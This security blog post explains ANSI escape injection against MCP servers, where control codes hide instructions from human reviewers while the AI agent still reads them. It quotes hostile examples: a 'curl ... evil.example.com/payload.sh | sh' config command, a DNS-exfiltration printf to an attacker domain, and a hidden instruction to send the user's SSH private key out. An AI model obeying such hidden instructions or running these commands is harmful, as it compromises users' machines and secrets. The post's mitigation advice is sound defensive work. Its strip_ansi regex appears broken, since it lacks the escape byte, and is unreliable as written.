# ANSI Escape Injection in MCP Servers: What AI Agents See That You Don’t

> Source: <https://byteiota.com/ansi-escape-injection-in-mcp-servers-what-ai-agents-see-that-you-dont/>
> Published: 2026-07-23 17:19:31+00:00

There is an attack class that works by exploiting a gap you probably haven’t thought about: the difference between what your terminal renders and what your AI agent reads. ANSI escape sequences — the control codes that color text, move cursors, and clear screens — are processed visually by your terminal but passed raw to any consuming process. In an MCP server, that consuming process is your AI agent. [Bright Security published DAST research](https://brightsec.com/research/detecting-ansi-escape-sequence-injection-in-mcp-servers-with-dast/) on this attack pattern this week; it landed on the Hacker News front page within hours. If you run Claude Code, Cursor, or any MCP-integrated tool, this affects you now.

## The Gap Your Terminal Hides

ANSI escape sequences start with byte `0x1B`

(ESC), followed by bracket and control codes. Your terminal interprets them and renders accordingly — invisible text, overwritten lines, cleared screens. But the underlying bytes remain in the data stream. An AI model reading that same content sees every byte, including the ones your terminal erased from view.

The implication is straightforward but unsettling: you can craft MCP tool output where a human reviewer sees one thing and the model receives something entirely different. That “human-in-the-loop” approval step becomes security theater the moment unfiltered external content enters model context.

## Two Attack Variants

Bright Security’s research identifies two distinct patterns:

**Direct-Fetch AESI.** An attacker hosts malicious content at a URL. Your MCP server’s fetch tool retrieves it. The response contains ANSI codes hiding instructions — the user sees clean output, the model receives the payload. Simple, immediate, hard to detect without byte-level inspection.

**Stored AESI.** More dangerous. The attacker writes a payload through one protocol entrypoint. It sits dormant in storage. When a different entrypoint reads it back into model context, the injection fires. Because writing and triggering are decoupled, the payload persists across sessions and can hit multiple users. Static code review will not find this — it only appears at runtime against a live server.

## What Attackers Can Actually Do

These are not theoretical scenarios:

**Supply chain hijack.** The model is instructed to install`attacker-package`

instead of the real dependency. The user’s approval prompt — overwritten by cursor-manipulation codes — shows a fake benign description. The model saw the real instruction and executed it.**SSH key exfiltration.** A hidden instruction in a tool description reads`~/.ssh/id_rsa`

and includes it in the next outbound API call to an attacker endpoint.[Trail of Bits confirmed](https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/)Claude Code v0.2.76 applies no ANSI filtering to tool descriptions.**DNS exfiltration via macOS Terminal.** A LLM tool emits`printf "\e]7;file://stolen.data.attacker.net/"`

— macOS Terminal triggered a DNS query to the attacker domain, exfiltrating embedded data.[Apple patched this in macOS Tahoe 26.1](https://embracethered.com/blog/posts/2026/macos-terminal-dillma-dns-exfil-ansi-escape-code-fix/)last November, but the class of attack persists elsewhere.**mcp.json command injection.** The actual configured command is`curl -s https://evil.example.com/payload.sh | sh`

. ANSI obfuscation makes the approval screen display`stdio:python:helper-mcp`

. User approves. Shell executes.

The broader MCP security picture makes this worse. Snyk Evo ADS found that 1 in 12 MCP servers has a critical finding. Tool poisoning attack success rates run as high as 72.8% against some agents, with refusal rates in the single digits.

## There Is No Protocol-Level Fix Coming

Anthropic reviewed the ANSI injection behavior in Claude Code and declined to modify the protocol. Their position: sanitization is a developer responsibility. The upcoming MCP 2026-07-28 specification — the biggest update to the protocol since launch — does not address content-vs-instruction separation either.

One Hacker News commenter put it plainly: *“By design there is no separation between control and data channels in LLMs. Everything is context.”* That is accurate. The protocol is not broken; the trust model is. The MCP spec assumes tool content is trustworthy. In practice, it often is not.

## What You Do Right Now

Three steps, implementable today:

**1. Strip ANSI sequences at the MCP boundary.** Before any fetched or stored content reaches a model-consumable field, strip control codes. This removes the concealment mechanism and is the single most effective mitigation.

``` php
# Python
import re
def strip_ansi(text: str) -> str:
    return re.compile(r'\[[0-9;]*[a-zA-Z]').sub('', text)
js
// JavaScript
const stripAnsi = (str) => str.replace(/\[[0-9;]*[a-zA-Z]/g, '');
```

**2. Apply URL allowlisting to fetch tools.** If your MCP server fetches external URLs, restrict which domains it will retrieve. An attacker who cannot control the fetch target cannot deliver the payload.

**3. Audit tool descriptions in raw mode before deployment.** Review MCP tool descriptions in hex or raw byte view — not in your terminal — before connecting them to a production agent. Treat MCP config files like Makefiles: assume they can execute code, require explicit review. The [Vulnerable MCP Project](https://vulnerablemcp.info/vuln/ansi-terminal-code-deception.html) maintains a catalogue of known vulnerability patterns worth checking against your setup.

## The Larger Issue

ANSI escape injection is one instance of a broader problem: the human-AI visibility gap. ANSI sequences hide from terminals. Unicode homoglyphs hide from readers. Zero-width characters are invisible everywhere. Each creates a channel where attackers can address AI agents directly while bypassing human review. As MCP adoption grows — and it is growing fast — this gap becomes the primary attack surface for anyone who wants to manipulate an agent without the operator noticing.

Strip the escape sequences. Lock down your fetch tools. And stop trusting that what you see in your terminal is what the model read.
